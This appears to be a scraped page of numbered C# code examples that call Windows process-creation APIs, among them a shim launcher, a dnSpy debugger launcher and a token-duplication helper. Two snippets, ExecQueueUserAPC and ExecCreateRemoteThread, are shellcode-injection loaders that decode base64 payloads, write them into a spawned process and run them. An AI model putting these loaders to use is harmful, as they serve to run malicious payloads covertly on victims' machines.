 private static extern bool CreateProcessAsUser(IntPtr hToken, string lpApplicationName, string lpCommandLine,
                                                /* ref */ IntPtr lpProcessAttributes, /* ref */ IntPtr lpThreadAttributes, // since we only call this with null we omit ref and type for laziness
                                                bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
                                                ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
Exemplo n.º 55
0
        static int Main(string[] args)
        {
            var exe = Assembly.GetExecutingAssembly().Location;

            var dir  = Path.GetDirectoryName(exe);
            var name = Path.GetFileNameWithoutExtension(exe);

            var configPath = Path.Combine(dir, name + ".shim");

            if (!File.Exists(configPath))
            {
                Console.Error.WriteLine("Couldn't find " + Path.GetFileName(configPath) + " in " + dir);
                return(1);
            }

            var config   = Config(configPath);
            var path     = Get(config, "path");
            var add_args = Get(config, "args");

            var si = new STARTUPINFO();
            var pi = new PROCESS_INFORMATION();

            // create command line
            var cmd_args  = add_args ?? "";
            var pass_args = Serialize(args);

            if (!string.IsNullOrEmpty(pass_args))
            {
                if (!string.IsNullOrEmpty(cmd_args))
                {
                    cmd_args += " ";
                }
                cmd_args += pass_args;
            }
            if (!string.IsNullOrEmpty(cmd_args))
            {
                cmd_args = " " + cmd_args;
            }
            var cmd = "\"" + path + "\"" + cmd_args;

            if (!CreateProcess(null, cmd, IntPtr.Zero, IntPtr.Zero,
                               bInheritHandles: true,
                               dwCreationFlags: 0,
                               lpEnvironment: IntPtr.Zero, // inherit parent
                               lpCurrentDirectory: null,   // inherit parent
                               lpStartupInfo: ref si,
                               lpProcessInformation: out pi))
            {
                return(Marshal.GetLastWin32Error());
            }

            WaitForSingleObject(pi.hProcess, INFINITE);

            uint exit_code = 0;

            GetExitCodeProcess(pi.hProcess, out exit_code);

            // Close process and thread handles.
            CloseHandle(pi.hProcess);
            CloseHandle(pi.hThread);

            return((int)exit_code);
        }
Exemplo n.º 56
0
        private static void ExecQueueUserAPC()
        {
            //Initialization
            IntPtr bytesWritten = IntPtr.Zero;
            String process      = String.Empty;

            byte[] shellcode = new byte[] { };

            // Prevent multi-execution of payloads
            if (!SafetyHandler())
            {
                return;
            }

            // Set Shellcode
            if (OsIs32())
            {
                process   = DefaultProcPath;
                shellcode = Convert.FromBase64String(Shellcode32);
            }
            else
            {
                if (IntPtr.Size == 8)
                {
                    process   = DefaultProcPath;
                    shellcode = Convert.FromBase64String(Shellcode64);
                }
                else
                {
                    process   = SysWOW64ProcPath;
                    shellcode = Convert.FromBase64String(Shellcode32);
                }
            }

            //Start process to inject into
            PROCESS_INFORMATION processInfo = StartProcess(process);

            if (processInfo.hProcess == IntPtr.Zero)
            {
                return;
            }

            Process targetProcess = Process.GetProcessById((int)processInfo.dwProcessId);

            //Allocate executable memory
            IntPtr address = VirtualAllocEx(processInfo.hProcess, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_READWRITE);

            if (address == IntPtr.Zero)
            {
                TerminateProcess(processInfo.hProcess, 0);
                return;
            }

            //Write shellcode into allocated memory in target process
            if (!WriteProcessMemory(processInfo.hProcess, address, shellcode, shellcode.Length, out bytesWritten))
            {
                //Clean up memory allocation, stop process, and exit
                Clean(processInfo.hProcess, address, shellcode.Length);
                return;
            }

            //Modify memory protections to allow execution
            if (!VirtualProtectEx(processInfo.hProcess, address, shellcode.Length, PAGE_EXECUTE_READ, out uint oldProtect))
            {
                //Clean up memory allocation, stop process, and exit
                Clean(processInfo.hProcess, address, shellcode.Length);
                return;
            }

            //Open a thread in target process
            ProcessThreadCollection currentThreads = Process.GetProcessById((int)processInfo.dwProcessId).Threads;

            IntPtr thread = OpenThread(ThreadAccess.SET_CONTEXT, false, currentThreads[0].Id);

            if (thread == IntPtr.Zero)
            {
                //Clean up memory allocation, stop process, and exit
                Clean(processInfo.hProcess, address, shellcode.Length);
                return;
            }

            //Queue thread for asynchronous procedure call
            IntPtr ptr = QueueUserAPC(address, thread, IntPtr.Zero);

            if (ptr == IntPtr.Zero)
            {
                //Clean up memory allocation, stop process, and exit
                Clean(processInfo.hProcess, address, shellcode.Length);
                return;
            }

            //Resume thread to execute shellcode
            if (ResumeThread(processInfo.hThread) == 0)
            {
                //Clean up memory allocation, stop process, and exit
                Clean(processInfo.hProcess, address, shellcode.Length);
                return;
            }
        }
Exemplo n.º 57
0
		private static extern bool CreateProcessWithTokenW(IntPtr hToken, uint dwLogonFlags, string lpApplicationName,
		                                                   string lpCommandLine, uint dwCreationFlags, IntPtr lpEnvironment,
		                                                   string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo,
		                                                   out PROCESS_INFORMATION lpProcessInformation);
Exemplo n.º 58
0
        private static void ExecCreateRemoteThread()
        {
            //Initialization
            IntPtr bytesWritten = IntPtr.Zero;
            String process      = String.Empty;

            byte[] shellcode = new byte[] { };

            // Prevent multi-execution of payloads
            if (!SafetyHandler())
            {
                return;
            }

            // Set Shellcode
            if (OsIs32())
            {
                process   = DefaultProcPath;
                shellcode = Convert.FromBase64String(Shellcode32);
            }
            else
            {
                if (IntPtr.Size == 8)
                {
                    process   = DefaultProcPath;
                    shellcode = Convert.FromBase64String(Shellcode64);
                }
                else
                {
                    process   = SysWOW64ProcPath;
                    shellcode = Convert.FromBase64String(Shellcode32);
                }
            }

            //Start process to inject into
            PROCESS_INFORMATION processInfo = StartProcess(process);

            if (processInfo.hProcess == IntPtr.Zero)
            {
                return;
            }

            //Allocate executable memory
            IntPtr address = VirtualAllocEx(processInfo.hProcess, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_READWRITE);

            if (address == IntPtr.Zero)
            {
                TerminateProcess(processInfo.hProcess, 0);
                return;
            }

            //Write shellcode into allocated memory in target process
            if (!WriteProcessMemory(processInfo.hProcess, address, shellcode, shellcode.Length, out bytesWritten))
            {
                //Clean up memory allocation, stop process, and exit
                Clean(processInfo.hProcess, address, shellcode.Length);
                return;
            }

            //Modify memory protections to allow execution
            if (!VirtualProtectEx(processInfo.hProcess, address, shellcode.Length, PAGE_EXECUTE_READ, out uint oldProtect))
            {
                //Clean up memory allocation, stop process, and exit
                Clean(processInfo.hProcess, address, shellcode.Length);
                return;
            }

            //Create thread in remote process to execute shellcode
            if (CreateRemoteThread(processInfo.hProcess, IntPtr.Zero, 0, address, IntPtr.Zero, 0, IntPtr.Zero) == IntPtr.Zero)
            {
                //Clean up memory allocation, stop process, and exit
                Clean(processInfo.hProcess, address, shellcode.Length);
                return;
            }
        }
Exemplo n.º 59
0
        public unsafe static DnDebugger CreateDnDebugger(DebugProcessOptions options, CoreCLRTypeDebugInfo info, IntPtr outputHandle, IntPtr errorHandle, Func <bool> keepWaiting, Func <ICorDebug, string, uint, string, DnDebugger> createDnDebugger)
        {
            var dbgShimState = GetOrCreateDbgShimState(info.HostFilename, info.DbgShimFilename);

            if (dbgShimState == null)
            {
                throw new Exception(string.Format("Could not load dbgshim.dll: '{0}' . Make sure you use the {1}-bit version", info.DbgShimFilename, IntPtr.Size * 8));
            }

            var    startupEvent = IntPtr.Zero;
            var    hThread = IntPtr.Zero;
            IntPtr pHandleArray = IntPtr.Zero, pStringArray = IntPtr.Zero;
            uint   dwArrayLength = 0;

            var  pi = new PROCESS_INFORMATION();
            bool error = true, calledSetEvent = false;

            try {
                bool inheritHandles  = options.InheritHandles;
                var  dwCreationFlags = options.ProcessCreationFlags ?? DebugProcessOptions.DefaultProcessCreationFlags;
                dwCreationFlags |= ProcessCreationFlags.CREATE_SUSPENDED;
                var si = new STARTUPINFO();
                si.hStdOutput = outputHandle;
                si.hStdError  = errorHandle;
                if (si.hStdOutput != IntPtr.Zero || si.hStdError != IntPtr.Zero)
                {
                    si.dwFlags    |= STARTUPINFO.STARTF_USESTDHANDLES;
                    inheritHandles = true;
                }
                si.cb = (uint)(4 * 1 + IntPtr.Size * 3 + 4 * 8 + 2 * 2 + IntPtr.Size * 4);
                var cmdline = "\"" + info.HostFilename + "\" " + info.HostCommandLine + " \"" + options.Filename + "\"" + (string.IsNullOrEmpty(options.CommandLine) ? string.Empty : " " + options.CommandLine);
                var env     = Win32EnvironmentStringBuilder.CreateEnvironmentUnicodeString(options.Environment);
                dwCreationFlags |= ProcessCreationFlags.CREATE_UNICODE_ENVIRONMENT;
                bool b = NativeMethods.CreateProcess(info.HostFilename ?? string.Empty, cmdline, IntPtr.Zero, IntPtr.Zero,
                                                     inheritHandles, dwCreationFlags, env, options.CurrentDirectory,
                                                     ref si, out pi);
                hThread = pi.hThread;
                if (!b)
                {
                    throw new Exception(string.Format("Could not execute '{0}'", options.Filename));
                }

                int hr = dbgShimState.GetStartupNotificationEvent(pi.dwProcessId, out startupEvent);
                if (hr < 0)
                {
                    throw new Exception(string.Format("GetStartupNotificationEvent failed: 0x{0:X8}", hr));
                }

                NativeMethods.ResumeThread(hThread);

                const uint WAIT_MS = 5000;
                for (;;)
                {
                    uint res = NativeMethods.WaitForSingleObject(startupEvent, WAIT_MS);
                    if (res == 0)
                    {
                        break;
                    }

                    if (res == NativeMethods.WAIT_FAILED)
                    {
                        throw new Exception(string.Format("Error waiting for startup event: 0x{0:X8}", Marshal.GetLastWin32Error()));
                    }
                    if (res == NativeMethods.WAIT_TIMEOUT)
                    {
                        if (keepWaiting())
                        {
                            continue;
                        }
                        throw new TimeoutException("Waiting for CoreCLR timed out. Debug 32-bit .NET Core apps with 32-bit dnSpy (dnSpy-x86.exe), and 64-bit .NET Core apps with 64-bit dnSpy (dnSpy.exe).");
                    }
                    Debug.Fail(string.Format("Unknown result from WaitForMultipleObjects: 0x{0:X8}", res));
                    throw new Exception("Error waiting for startup event");
                }

                hr = dbgShimState.EnumerateCLRs(pi.dwProcessId, out pHandleArray, out pStringArray, out dwArrayLength);
                if (hr < 0 || dwArrayLength == 0)
                {
                    throw new Exception("Process started but no CoreCLR found");
                }
                var       psa     = (IntPtr *)pStringArray;
                var       pha     = (IntPtr *)pHandleArray;
                const int index   = 0;
                var       version = GetVersionStringFromModule(dbgShimState, pi.dwProcessId, psa[index], out string coreclrFilename);
                hr = dbgShimState.CreateDebuggingInterfaceFromVersionEx(CorDebugInterfaceVersion.CorDebugVersion_4_0, version, out object obj);
                var corDebug = obj as ICorDebug;
                if (corDebug == null)
                {
                    throw new Exception(string.Format("Could not create a ICorDebug: hr=0x{0:X8}", hr));
                }
                var dbg = createDnDebugger(corDebug, coreclrFilename, pi.dwProcessId, version);
                for (uint i = 0; i < dwArrayLength; i++)
                {
                    NativeMethods.SetEvent(pha[i]);
                }
                calledSetEvent = true;
                error          = false;
                return(dbg);
            }
            finally {
                if (!calledSetEvent && pHandleArray != IntPtr.Zero && dwArrayLength != 0)
                {
                    var pha = (IntPtr *)pHandleArray;
                    for (uint i = 0; i < dwArrayLength; i++)
                    {
                        NativeMethods.SetEvent(pha[i]);
                    }
                }
                if (startupEvent != IntPtr.Zero)
                {
                    NativeMethods.CloseHandle(startupEvent);
                }
                if (hThread != IntPtr.Zero)
                {
                    NativeMethods.CloseHandle(hThread);
                }
                if (pHandleArray != IntPtr.Zero)
                {
                    dbgShimState.CloseCLREnumeration(pHandleArray, pStringArray, dwArrayLength);
                }
                if (error)
                {
                    NativeMethods.TerminateProcess(pi.hProcess, uint.MaxValue);
                }
                if (pi.hProcess != IntPtr.Zero)
                {
                    NativeMethods.CloseHandle(pi.hProcess);
                }
            }
        }
Exemplo n.º 60
0
        private static Process StartAsUser(ProcessStartInfo startInfo)
        {
            var hToken      = WindowsIdentity.GetCurrent().Token;
            var hDupedToken = IntPtr.Zero;

            var pi = new PROCESS_INFORMATION();
            var sa = new SECURITY_ATTRIBUTES();

            sa.Length = Marshal.SizeOf(sa);

            var si = new STARTUPINFO();

            si.cb = Marshal.SizeOf(si);

            var dwSessionID = WTSGetActiveConsoleSessionId();

            if (WTSQueryUserToken(dwSessionID, out hToken) == false)
            {
                var ex = new Exception("WTSQueryUserToken failure");
                IU.Debugger.WriteLine(ex.Message);
                throw ex;
            }

            var dupState = DuplicateTokenEx(
                hToken,
                GENERIC_ALL_ACCESS,
                ref sa,
                (int)SECURITY_IMPERSONATION_LEVEL.SecurityIdentification,
                (int)TOKEN_TYPE.TokenPrimary,
                ref hDupedToken
                );

            if (dupState == false)
            {
                var ex = new Exception("DuplicateTokenEx failure");
                IU.Debugger.WriteLine(ex.Message);
                throw ex;
            }

            var lpEnvironment = IntPtr.Zero;

            if (CreateEnvironmentBlock(out lpEnvironment, hDupedToken, false) == false)
            {
                var ex = new Exception("CreateEnvironmentBlock failure");
                IU.Debugger.WriteLine(ex.Message);
                throw ex;
            }


            var result = CreateProcessAsUser(
                hDupedToken,
                startInfo.FileName,
                startInfo.Arguments,
                ref sa, ref sa,
                false, 0, IntPtr.Zero,
                startInfo.WorkingDirectory, ref si, ref pi);

            if (!result)
            {
                var ex = new Exception("CreateProcessAsUser failure");
                IU.Debugger.WriteLine(ex.Message);
                throw ex;
            }

            if (pi.hProcess != IntPtr.Zero)
            {
                CloseHandle(pi.hProcess);
            }
            if (pi.hThread != IntPtr.Zero)
            {
                CloseHandle(pi.hThread);
            }
            if (hDupedToken != IntPtr.Zero)
            {
                CloseHandle(hDupedToken);
            }

            return(Process.GetProcessById(pi.dwProcessID));
        }